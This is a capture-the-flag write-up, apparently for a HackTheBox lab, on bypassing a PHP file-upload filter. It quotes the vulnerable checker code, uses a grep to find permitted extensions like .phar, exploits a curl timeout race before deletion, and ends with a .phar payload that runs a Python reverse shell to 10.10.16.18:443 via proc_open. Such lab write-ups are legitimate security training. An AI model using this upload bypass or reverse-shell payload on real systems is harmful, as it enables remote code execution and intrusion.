The File upload#

Let’s check what I have to bypass to upload a php reverse shell.

checker.php:

55 if($_POST['check']){
56                                                                                          
57   # File size must be less than 10kb.                                                    
58   if ($_FILES['file']['size'] > 10000) {                                                 
59   │ │ │ die("File too large!");                                                          
60   │ }                                                                                    
61   $file = $_FILES['file']['name'];                                                       
62                                                                                          
63   # Check if extension is allowed.                                                       
64   $ext = getExtension($file);                                                            
65   if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){           
66   │ die("Extension not allowed!");                                                       
67   }

Seems that my file needs to be lower than 10kb and not contain any of the extension of the line 65, The more obvious thing to try is uploading a file with the name ‘revshell.pHp’ but this will not work because the preg_match function is specified to ignore case when ended with /i on line 65.

Opening the HackTricks-wiki and searching for file upload I found the following line:

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

So let’s get all this extensions and see what will not matching that regex.

❯ echo '.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp' | \
tr ',' '\n' | \
grep -Evi 'php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar'
 .pht
 .phtm
 .pgif
 .htaccess
 .phar
 .inc
 .ctp
 .module
 .inc
 .ctp

I have 10 different options of extensions to try upload to the site and get php code executed. But I have another problem, I need to open the file to execute the code inside it, let’s analise the code to find it.

69   # Create directory to upload our file.                               
70   $dir = "uploads/".md5(time())."/";                                   
71   if(!is_dir($dir)){                                                   
72   │ │ │ mkdir($dir, 0770, true);                                       
73   │ }                                                                  
74                                                                        
75   # Upload the file.                                                   
76   $final_path = $dir.$file;                                            
77   move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

Our file seams to be stored inside the uploads/ folder followed by a subfolder named with a MD5 hash of the current timestamp and finally the filename that we gave when uploading. The MD5 hash will be really enoying to find each time but I as saved because the uploads/ is a directory listing that show me all the subfolder inside it!

Now seams all good to send the PentestMonkey PHP Webshell named as ‘rev.phar’ and get a reverse connection, but when I send the file and opening the new directory created there isn’t a file inside it :(.

So, I start analylise the code again to see what happen to the file we just uploaded, and found the follow snnipet of code on file checker.php:

35 function isitup($url){                                           
36   $ch=curl_init();                                               
37   curl_setopt($ch, CURLOPT_URL, trim($url));                     
38   curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");      
39   curl_setopt($ch, CURLOPT_HEADER, 1);                           
40   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);                   
41   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);                   
42   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);                   
43   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);                   
44   curl_setopt($ch, CURLOPT_TIMEOUT, 30);                         
45   $f = curl_exec($ch);                                           
46   $header = curl_getinfo($ch);                                   
47   if($f AND $header['http_code'] == 200){                        
48   │ return array(true,$f);                                       
49   }else{                                                         
50   │ return false;                                                
51   }                                                              
52   │ curl_close($ch);                                             
53 }

82   foreach($websites as $site){
83   │ $site=trim($site);
84   │ if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
85   │ │ $check=isitup($site);
86   │ │ if($check){
87   │ │ │ echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
88   │ │ }else{
89   │ │ │ echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
90   │ │ }
91   │ }else{
92   │ │ echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
93   │ }
94   }
95   
96   # Delete the uploaded file.
97   @unlink($final_path);
98 }

In the line 97 the file I uploaded are deleted after sending a request using the function isitup. So every time I send a file the upload it, made a request and after the request return the file got deleted! Analising this function I found on line 44 that the request get a 30 seconds timeout. So to bypass this and I get time to execute the payload I need to input first on the file a URL that will not return anything like https://google.com because the HTB VPN isn’t connect to the internet.

So now we are good to upload the revshell right? No, not yet. I uploaded the PentestMonkey php revShell but it don’t return any connections back. So I start testing if the .phar is really executing the php code, so I upload a <?php echo 'HELLO word!!!!!'; ?> and it worked fine.

Figure 6: ‘Hello word’ on the page.

So if it is executing the php code why our reverse shell don’t work? Maybe some functions are disable? Let’s check this with the phpinfo page.

payload.phar:

https://google.com
https://google.com
https://google.com

<?php phpinfo(); ?>

Figure 7: List of all disable functions.

Reading all functions that are disable, the most intesting one that ins’t on the list is proc_open that let execute remote code on the victim machine. I made the follow payload to finally get a reverse shell:

revshell.phar

http://google.com
http://google.com
http://google.com
http://google.com
http://google.com

<?php

$descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout -> we use this
    2 => array("pipe", "w")   // stderr 
);

$process = proc_open("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.18\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'",$descriptorspec,$pipes)

?> 

Figure 8: Receivering a reverse connection as user ‘www-data’.